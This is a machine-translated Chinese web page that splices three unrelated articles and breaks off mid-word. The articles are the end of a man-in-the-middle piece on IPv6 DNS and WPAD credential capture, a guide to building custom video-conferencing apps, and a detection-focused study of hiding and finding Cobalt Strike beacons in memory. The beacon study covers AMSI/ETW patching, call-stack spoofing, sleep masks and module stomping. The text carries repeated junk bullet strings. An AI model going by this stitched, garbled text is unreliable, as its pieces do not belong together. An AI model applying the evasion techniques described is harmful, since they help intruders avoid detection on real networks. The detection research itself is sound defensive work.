一旦受害者收到新的DNS 服務器地址，受害者就會連接到該服務器，Web 代理自動發現協議(WPAD) 漏洞就會在該服務器上進行。一旦受害者的計算機接收到作為DNS 服務器的IPv6 攻擊者的地址，它就會開始發送WPAD 網絡配置請求。對於IPv4 或IPv6 請求，攻擊者會將其地址發送給受害者。

然後，攻擊者必須與受害者的計算機交換身份驗證數據。由於這不能直接在受害者的計算機上完成，攻擊者將模擬代理服務器。結果，所有輸入用於身份驗證的數據都將發送到最終服務器和攻擊者。但受害者不會注意到它。

上述所有工具都可用於滲透測試，以檢查網絡安全、檢測漏洞並修復它們。通過這種方式，企業可以防止真正的網絡犯罪分子可能進行的攻擊，並保護他們的網絡連接和敏感數據。

結論在本文中，我們探討了幾種類型的中間人攻擊，並描述了網絡犯罪分子如何使用MITM 工具攔截數據。在此類攻擊中，受害者什麼都沒有註意到，並且有一種錯誤的安全感。無論組織是小型初創公司還是大型公司，都應該建立強大的網絡安全性。

HireHackking

由於COVID-19 大流行，許多視頻會議App變得非常流行。 Zoom、FreeConference、Microsoft Teams 和其他應用程序擁有普通用戶所需的一切——甚至更多。但它們對於處理敏感數據、使用特定設備進行視頻會議或需要延遲通信的公司來說還不夠好。

要與此類客戶合作，僅僅創建一個類似Zoom 的視頻會議應用程序是不夠的。在本文中，我們將討論如何創建為特定行業或客戶量身定制的定制視頻會議軟件。我們還概述了此類應用程序的行業要求、確保舒適通信的必備功能以及有助於保護視頻會議的網絡安全機制。

視頻會議軟件的日益普及2020 年的事件使我們將大部分活動轉移到網上。無論我們是想參加商務會議、看醫生、還是去聽音樂會，我們只需要啟動一個視頻會議應用程序即可。這就是為什麼在COVID-19 大流行期間此類軟件的市場猛增的原因。 Verified Market Research估計，2019 年全球視頻會議的市場規模為40.2 億美元。他們預計到2027 年將達到83.5 億美元。

通用視頻會議解決方案之間的競爭非常激烈。複製Zoom的成功，該軟件的日活躍用戶從2020 年初的37,000 增加到年底的160 萬，是一個誘人但極具挑戰性的前景。

儘管Zoom 很受歡迎，但通用視頻會議應用程序並不是每個人的最佳選擇。許多行業的組織需要像Zoom 這樣的普通視頻會議解決方案無法提供的特性和功能：增強的安全性、接近零延遲、支持特定行業的設備或軟件、高級文件存儲等。

讓我們看一下構建您自己的自定義視頻會議應用程序的主要好處以及此類應用程序的特定要求的幾個示例。

為什麼要構建自定義視頻會議軟件？開發自定義視頻會議軟件可幫助您在競爭對手中脫穎而出，找到目標受眾，並為您的客戶提供最佳服務。這是一個非常具有挑戰性的過程，但最終會有所收穫。以下是為特定行業或客戶構建類似Zoom 的應用程序的主要原因：

image.png

創建自定義視頻會議軟件的原因

马云惹不起马云 滿足特定客戶的需求— 一些組織需要具有特定功能的視頻會議軟件，而這些功能在通用解決方案中是不可用的。例如，唱片公司使用特定設備來確保其錄音的最佳質量。這就是他們需要支持此設備的視頻會議解決方案的原因。此外，他們需要具有低延遲的軟件才能實時排練。

马云惹不起马云 提供高質量的視頻會議——Zoom 和Skype 等流行的視頻會議應用程序通常在視頻和音頻質量方面存在問題，或者在通話過程中存在高延遲。此類問題不僅會激怒用戶，還會擾亂他們的工作。通過提高視頻會議的質量，您可以幫助呼叫參與者感覺他們在同一個房間。

马云惹不起马云 增強的網絡安全——網絡安全問題在通用視頻會議解決方案中很常見。許多用戶出於安全原因避免使用Zoom。在自定義軟件中，您可以實施高級安全措施以及合規性要求：加密算法、訪問管理功能、管理功能等。

除了視頻通話和消息傳遞之外，各個行業都有視頻會議軟件的特定用例，這些用例會產生特定的要求：

image.png

通用軟件通常無法滿足這些高度具體的要求。為了滿足他們的需求，企業可以構建定制的視頻會議軟件。

在本文後面，我們將了解實現上述特定要求的功能。現在，讓我們概述一些創建視頻會議應用程序時必須具備的功能。

視頻會議應用程序的必備功能無論您的軟件的目標受眾是什麼，您都需要確保您的軟件使用舒適、與流行的設備和操作系統兼容並且安全。

在製作任何類似Zoom 的視頻會議應用程序時，請確保實現以下功能：

image.png

視頻會議的8 個主要功能

马云惹不起马云 用戶檔案管理。此功能包括用戶註冊；設置、編輯和刪除用戶配置文件；改變用戶狀態；等等。用戶管理帳戶的選項越多越好。

马云惹不起马云聯繫人列表。此列表可幫助用戶通過用戶名、電子郵件、公司、城市或其他搜索參數找到彼此。

马云惹不起马云視頻和音頻通話管理。視頻會議軟件通常支持一對一和多點通話，最多可支持一定數量的用戶。音頻和視頻質量是通話的關鍵马云惹不起马云參數。該軟件必須允許安排和記錄通話、共享屏幕等。此外，當會議軟件允許他們在通話期間使用面具和背景時，用戶會很感激。

马云惹不起马云簡訊.用戶需要在通話期間和通話外交換短信。該軟件必須允許他們相互聊天、創建群聊並接收有關新消息的推送通知。

马云惹不起马云文件共享。用戶需要交換文件才能進行富有成效的會議。您可以實現點對點文件共享（用戶將共享文件存儲在他們的計算機上）或將共享數據複製到雲或私有服務器。

马云惹不起马云儀表板。儀表板可幫助軟件管理員分析有關日常視頻會議使用、最常見挑戰和可能改進的統計數據。您可以使用人工智能(AI) 功能增強儀表板，以使軟件分析來自儀表板的數據並自動提供預測。

马云惹不起马云跨平台能力。為了能夠將用戶與各種設備和操作系統連接起來，您的視頻會議軟件應該支持各種平台，如Windows、Linux、macOS、Android 和iOS。

马云惹不起马云可擴展性。在設計軟件的架構和基礎架構時，請考慮可能需要擴大或縮小規模，以便在不影響質量的情況下為新客戶提供服務。

在實現這些必備功能時，請確保對其進行自定義。找出您的受眾最看重的功能，並根據他們的要求仔細平衡應用程序。為了弄清楚這些要求，您可以問自己以下幾個問題：

马云惹不起马云您的用戶將共享哪些類型的文件？

马云惹不起马云用戶需要特定的儀表板嗎？

马云惹不起马云用戶是否需要特定的消息傳遞功能，例如表情符號或自定義貼紙？

马云惹不起马云對用戶來說更重要的是：穩定的連接、良好的視頻質量，還是兩者兼而有之？

马云惹不起马云平均有多少用戶會接聽電話？

在您概述了軟件的主要功能後，您可以轉到受眾的特定視頻會議請求。在下一節中，我們將概述八種最常見的功能以及實現它們的方法。

HireHackking

MDSec 提供了一個商業命令和控制框架，可以避免隱蔽的活動被檢測到，不過這已經不是什麼秘密了。考慮到這一點，我們一直在研發可以檢測到它們的方法。有些人會認為，建立一個難以捉摸的信標的最佳方法是，不僅要了解你的對手發現你的方式，還要嘗試找到他們將來可以檢測到你的新方法。

在這項研究中，我們將介紹一些尋找信標的有效策略，這些策略由我們為執行這些策略而開發的BeaconHunter 工具提供支持，並且我們打算在適當的時候將其開源。

信標檢測方法雖然有各種不同的方法來檢測在網絡中運行的信標，但我們將較少地關注特定的開發後功能的功能，而更多地關注識別駐留或加載到內存中的信標的一般方法。

行為信標在運行和加載時的行為可以為防御者帶來檢測機會。許多商業框架是封閉源代碼的，因此某些行為無法輕易更改，從而允許防御者創建與這些行為一致的簽名。

一個很好的例子是信標如何加載自身及其依賴項，讓我們看看與圖像加載相關的行為如何為防御者提供檢測機會。

為了讓信標提供豐富的利用後框架，它通常嚴重依賴操作系統原生的庫，允許開發人員通過避免靜態地綁定許多依賴項，使信標的大小盡可能小。

通過分析大量的信標框架，我們已經註意到，它們中的許多會在加載時加載核心信標所需的所有依賴項，而不是在使用時。在某些情況下，這將導致在終端上發生的一系列事件，防御者可以輕鬆地對其進行簽名。

例如，通過加載winhttp.dll 和wininet.dll，可以看到信標利用本地Windows HTTP 庫作為出口信標，當加載到通常不會執行HTTP 交互的進程時，這些可能會突出顯示異常。此外，一些信標還會加載使用更少的庫，如credui.dll、dbghelp.dll或samcli.dll。

使用這些DLL加載序列，就可以使用EQL規則來構建簽名，以檢測信標何時執行。

例如，使用類似於以下的EQL 規則，可以在短時間內檢測或搜索所有加載credui.dll 和winhttp.dlls 的進程：

1.png

此類檢測當然可以通過設計為模塊化或負載依賴於使用或具有延遲負載的信標來避免。

內存檢測在許多情況下，信標可能會保留在內存中，以避免磁盤檢測。信標通常是由加載器注入內存的，加載器將創建一個新的線程或劫持一個現有線程，在其中運行信標。

信標的典型加載過程可能如下所示：

2.png

一旦信標在內存中運行，通過對進程的分析，我們通常可以利用許多指標來檢測信標，讓我們看一些內存檢測的方法。

簽名檢測已知惡意軟件的內存信標的最簡單但最有效的策略之一可能是通過簽名檢測。雖然許多反病毒引擎和EDR 實施自己的內存掃描例程，但防御者可以使用Yara 規則輕鬆實現全面的內存掃描。

一個可以與yara64.exe命令行工具一起使用的簡單的Yara規則可能是這樣的，它將匹配檢測內存中列出的三個字符串中的任何一個：

3.png

為嵌入在信標中的字符串/數據或來自.text 部分的代碼創建Yara 規則在概念上可以用作檢測已知內存惡意軟件的有效技術。

Elastic 過去在如何利用它來檢測內存中的Cobalt Strike 方面做了一些出色的工作，建議閱讀這些技術如何在實踐中應用。

為了逃避這種內存掃描，信標可以使用多種技術來混淆它們在內存中的足跡，包括替換已知字符串，例如可以使用Cobalt Strikes strrep 可塑性配置文件選項或使用混淆和休眠策略，例如我們在Nighthawk 中使用的一種，用於在休眠時保護信標的所有字符串、數據和代碼。

內存掛鉤為了規避控製或更改進程的運行方式，信標或操作員可以將掛鉤應用於內存中的某些函數。這些掛鉤可以留下隱藏的痕跡，從而為防御者提供揭示隱藏信標的機會。讓我們來看看這種行為的一些具體示例。

修復ETW 和AMSI修補諸如AMSI 之類的安全控製或削弱通過Windows 事件跟踪獲得的檢測數據在攻擊性社區中已經不是什麼秘密了，事實上我們過去曾在介紹過這些策略。

這些補丁通常通過修改內存來應用，讓我們看兩個來自Sliver C2 庫的例子：

https://github.com/sliverarmory/injectEtwBypass

4.png

https://github.com/sliverarmory/injectAmsiBypass

5.png

正如我們在上面的屏幕截圖中看到的，這兩個示例都會導致信標將補丁應用到ntdll!etwEventWrite 或amsi.dll!AmsiOpenSession 函數。

考慮到這一點，低噪聲檢測的機會就出現了，只需搜索應用這些補丁的進程，以及其他常用的補丁函數，如AmsiScanBuffer或sleeppex，由Cobalt Strike的線程堆棧欺騙功能應用於這些函數。

複製寫入的修改如上所述，信標應用補丁來處理內存的情況並不少見，這可以為防御者創造檢測機會。然而，一旦執行了開發後操作，如果信標刪除了這些補丁，檢測的準確率可能會降低。例如，植入程序可以在內存中執行.NET 程序集之前應用AMSI 補丁，然後在執行後將補丁恢復為其原始操作碼。這種方法比簡單地將未修復漏洞留在內存中要明智一些。

然而，為了避免重複，Windows將把公共dll返回到運行進程共享的物理內存中。如果信標或操作員執行對這些dll應用補丁的操作，則會發生寫入時復制操作，從而使該頁面成為該進程的私有頁面。使用QueryWorkingSetEx API，我們能夠查詢有關進程特定虛擬地址的頁面的信息。在返回的PSAPI_WORKING_SET_EX_INFORMATION 結構中是一個PSAPI_WORKING_SET_EX_BLOCK 聯合，它指示查詢地址處頁面的屬性。在這個聯合中，我們能夠通過共享位的返回值來確定頁面上是否發生了寫入複製操作。此技術被諸如Moneta 之類的內存掃描儀使用，並且在檢測內存中的補丁時非常有效，即使原始補丁值已恢復。

然而，在大規模應用這種技術時存在一些誤報的風險，因為EDR 和防病毒軟件應用它們自己的內存掛鉤並不少見，這意味著它們可以使我們從查找中獲得的一些價值無效用於寫操作時的複制。然而，為了降低誤報的風險，我們可以通過解析修改頁面上的導出，並對EDR通常不掛鉤的函數(如EtwEventWrite或AmsiScanBuffer)應用更大的權重，從而對其應用更多智能。

線程異常如上所述，一旦信標在內存中運行，它通常會存在於一個或多個線程中，具體取決於信標是同步的還是異步的。與這些線程相關的異常可以提供信標活動的高信號指標，特別是當與其他指標結合或相互結合時。一些常見的可疑線程相關指標包括：

未映射的內存：源自虛擬內存且不受DLL 支持的線程是注入線程的經典標識。這些線程可以通過尋找具有MemoryType 為MEM_IMAGE 和MemoryState 為MEM_COMMIT 的內存區域的線程來輕鬆檢測到。或者，這些線程通常由EDR 檢查通過線程創建API 的內核回調來檢測。有許多工具可以查找這個標識。

延遲狀態：大部分時間信標將處於休眠狀態，然後醒來恢復其任務。為了實現這種休眠行為，通常使用諸如sleeppex這樣的windows API調用，這將使線程處於等待狀態，並將導致線程調用堆棧包含對KernelBase.dll!SleepEx 和ntdll.dll!NtDelayExecution 的調用。當與其他指標結合時，例如module stomping的跡象（稍後討論）或調用堆棧中對虛擬內存的調用，那麼這可能會提供一些信標行為。

繞過可疑線程檢測的嘗試最近變得流行起來，一些概念證明和商業實現正在已發布。

這些實現通常通過截斷線程的調用堆棧（例如通過將幀的返回地址設置為空）或通過複製現有線程的上下文來工作。考慮到這一點，我們可以尋找更多指標來添加到我們的指標中：

可疑起始地址：截斷線程調用堆棧的副作用之一是起始地址並非源自預期位置。也就是說，線程通常源自ntdll!RtlUserThreadStart 和kernel32!BaseThreadInitThunk，或者在CLR 線程的情況下源自ntdll!RtlGetAppContainerNamedObjectPath。尋找不遵循此模式的線程可用作進一步分析的可疑指標。此外，如果線程的NtQueryInformationThread(ThreadQuerySetWin32StartAddress) 的返回值與最後一幀的返回地址之間存在不匹配，則線程的起始地址也可以被認為是可疑的，這意味著有潛在的截斷。

初始幀之間的距離：如上所述，調用堆棧的初始起始地址通常源自用於執行線程初始化和創建的一組地址。注意到這些初始堆棧幀之間的距離相對一致，並且通常在第一幀和第二幀之間是靜態的（例如ntdll!RtlUserThreadStart 和kernel32!BaseThreadInitThunk）。在調用堆棧被截斷的情況下，這些幀之間的距離幾乎肯定是可變的。

複製上下文：如上所述，除了截斷線程的調用堆棧外，欺騙調用堆棧的一種方法是複制合法線程的上下文。這種技術可以有效且實施起來相對簡單。首先，在線程的線程信息塊中，有許多指向有關線程的各種信息的指針，這些跨線程的副本，例如具有相同堆棧基數（堆棧底部）和堆棧限制（堆棧上限）的多個線程，是線程上下文已被複製的良好指標。

頁面權限一般來說，信標將從虛擬內存中運行，或者如果Module Stomping，則從DLL 支持的區域內運行。

為了使信標恢復並執行其任務，信標所在的頁面需要對其應用執行權限。

例如，我們可以在下面的截圖中看到，0x22f96c5000的內存沒有一個DLL支持，它被標記為“Private:Commit”（即VirtualAlloc 導致的虛擬內存），並設置了RX 頁面權限：

6.png

這些指標是一個強烈的信號，表明有信標在該地區執行。

接下來的挑戰便是如何避免這一指標，答案很簡單，如果你的信標是從虛擬內存運行的，則它不能，在某些時候信標需要執行。折衷方案實際上是僅在信標執行任務時維護可執行權限，並在信標休眠時利用策略刪除可執行權限。因此，避免諸如SOCKS 代理之類的交易有助於最大限度地減少該指標的暴露：

7.png

一些植入程序採用了根據信標狀態調整頁面保護的策略，以及幾個開源實現，例如@Ilove2pwn_ 的Foliage、@c5pider 的Ekko、@mariuszbit 的ShellcodeFluctuation 和Josh Lospinoso 的Gargoyle。

這些策略通常會利用某種形式的事件驅動執行來休眠和喚醒信標，使用ROP小工具重新執行來調用VirtualProtect，並將信標的頁面重置為可執行權限。由MDSec的Peter Winter-Smith發現並被Ekko使用的基於計時器的技術，最初是由MDSec的Nighthawk c2逆向工程而來。簡而言之，這種技術的工作原理是使用CreateTimerQueueTimer將多個計時器排隊，然後當事件觸發器返回到之前定義的Context記錄時，使用NtContinue執行並調用VirtualProtect來重新啟用執行位。

要更詳細地理解這種技術，可以在這裡找到@Ilove2pwn_的原始文章。

Module StompingModule Stomping提供了一種將信標隱藏在內存中的替代方法，從而避免了與未映射內存中的信標相關的一些常見指標。為了實現這一點，需要加載一個不太可能被進程使用的合法DLL，信標通過模塊自我複制，然後創建一個由stomped 代碼支持的線程：

8.png

Cobalt Strike 自3.11 版本以來就提供了此功能，並且可以使用“set module_x64/module_x86”可擴展配置選項使用。

雖然這種技術可以提供許多OpSec 優勢，但它確實留下了幾個我們可以可靠檢測的指標：

1.檢測這種攻擊的最簡單的技術可能是比較內存中的模塊內容和磁盤上存在的模塊內容。代碼部分的任何變化幾乎肯定會暗示一些可疑的行為。這個進程當然是相對密集的，因為它需要從磁盤加載進程中的所有模塊，並與運行中的內存進行比較。

2.如上所述，對進程內模塊存儲器的修改將導致發生寫入操作時的複制。考慮到這一點，用於檢測內存掛鉤的相同邏輯也可以應用於檢測Module Stomping，因為在內存中覆蓋DLL 將導致生成DLL 的副本並清除共享位。

3.有幾種方法可用於執行Module Stomping，其中一些涉及利用現有的Windows API，例如LoadLibrary，而其他更複雜的實現可能使用自定義加載器將DLL 映射到內存中。一些技術具有與它們相關的已知指標，在PEB 中留下可用於尋找該技術的常駐痕跡是高度可信的。稍後將更詳細地討論這方面的示例。

檢測Cobalt Strike的方法Cobalt Strike 是最受歡迎的命令和控制框架之一，受到防御者和攻擊者的青睞。在這篇文章中，我們將討論防御者如何使用第一篇文章中介紹的技術，在不同配置和跨網絡中檢測Cobalt Strike 。所有分析均在Cobalt Strike 4.6.1 上進行。

Cobalt Strike 信標具有高度擴展性，因此某些指標可能會根據所選的擴展性配置文件選項而有所不同。

內存中的Cobalt Strike過去，在內存中尋找Cobalt Strike 簽名對於防御者來說是卓有成效的，之前Elastic 提供了全面的記錄。然而，從那時起，HelpSystems做了很多工作，Cobalt Strike 4.4 引入了休眠策略。

Cobalt Strike 為其混淆和休眠策略提供了以下可能的配置選項：

沒有休眠掩碼：信標、它的字符串和代碼將在內存中保持明文，並且可以通過內存掃描輕鬆識別。

在可擴展配置文件中啟用sleep_mask：當在malleable 配置文件中將sleep_mask 設置為true 時，beacon 將使用內置的混淆和休眠策略來屏蔽內存中使用xor 來混淆字符串和數據的信標。正如Elastic 在前面提到的帖子中所詳述的，這當然可以通過定位代碼部分來簽名。

使用用戶定義的休眠掩碼：用戶定義的休眠掩碼向用戶公開信標的混淆和休眠功能，允許他們滾動自己的實現。在這樣做的同時，它還為用戶提供了許多指向信標使用的任何堆記錄的指針，以便用戶可以對它們進行加密。利用用戶定義的休眠掩碼確實有一些折衷，特別是為了混淆.text 部分，配置必須將“userwx”選項設置為true。也就是說，如果要對其進行混淆，信標將始終存在於RWX 內存中。如果userwx 選項設置為false，則信標將從RX 內存中運行，但.text 部分不會被混淆，因此可以進行簽名。由操作員自行決定選擇他們覺得最舒服的指標。

例如，當使用將userwx 選項設置為false 的Sleep Mask Kit 時，可以使用以下Yara 規則檢測Cobalt Strike：

2.1.png

對注入的信標運行此Yara規則將顯示檢測到簽名：

2.2.png

啟用userwx 會將頁面權限設置為EXECUTE_READWRITE ，但這意味著信標現在正在混淆其.text 部分：

2.3.png

頁面權限Cobalt Strike 信標通常在具有RX 或RWX 頁面權限的頁面上運行，具體取決於可擴展配置文件的“userwx”配置選項的值，並且沒有Module Stomping，將由未映射的內存支持。

這是一個明確的指標，使得在內存中發現信標相對來說很簡單：

2.4.png

為了避免JIT程序集，可以掃描這些內存區域，搜索具有PAGE_EXECUTE_READWRITE或PAGE_EXECUTE_READ頁面權限和MEM_COMMIT標誌的頁面。當與其他指標一起使用時，這對識別信標活動可能是有價值的。當使用-p標誌時，我們將此簽入到BeaconHunter中：

2.5.png

線程注入內存時，Cobalt Strike 會佔用一個線程，信標是同步的。默認情況下，信標運行所在的線程是高度可疑的，並且有許多與之相關的指標。

在Process Hacker 中檢查Cobalt Strike 信標的線程可能看起來像這樣：

2.6.png

僅在上面的屏幕截圖中，我們就可以看到一些使線程看起來非常可疑的指標：

首先，線程通常有一個0x0 的起始地址。總體而言，這有點不規則，儘管從掃描合法進程來看，它確實有時會在某些進程（如chrome.exe）中發生。

深入了解線程的調用堆棧，我們還注意到對KernelBase!SleepEx 和ntdll.dll!NtDelayExecution 的調用。這些調用是信標處於睡眠狀態的標誌，用於在信標處於睡眠狀態時延遲線程的執行。

在調用KernelBase.dll!SleepEx 之前，我們可以在0x1b8ef69fcc7 的跟踪中看到調用，堆棧遍歷尚未解析此地址的符號，因此幾乎可以肯定它是虛擬內存。由虛擬內存支持的線程非常可疑，可能需要進一步分析。

綜上所述，防御者能夠高度自信地確定惡意活動來自線程。由於這些指標，BeaconHunter 會排除這些可疑線程：

2.7.png

還應該注意的是，Cobalt Strike 在21 年6 月將堆棧欺騙引入了到了工件中。但是，調用堆棧欺騙僅適用於通過工件工具包生成的exe/dll 工件，而不是通過注入線程中的shellcode 注入的信標。因此，它們不太可能有效地掩蓋內存中的信標。

分析表明，fiber的使用很少見，因此可以通過分析ntdll.dll!RtlUserFiberStart 的起始地址的調用堆棧來輕鬆找到這些fiber，當與其他指標結合使用時，可以為尋找Cobalt 工件提供一個好的開端：

2.8.png

Module StompingCobalt Strike 支持使用“set module_x64”和“set module_x86”可擴展選項的Mod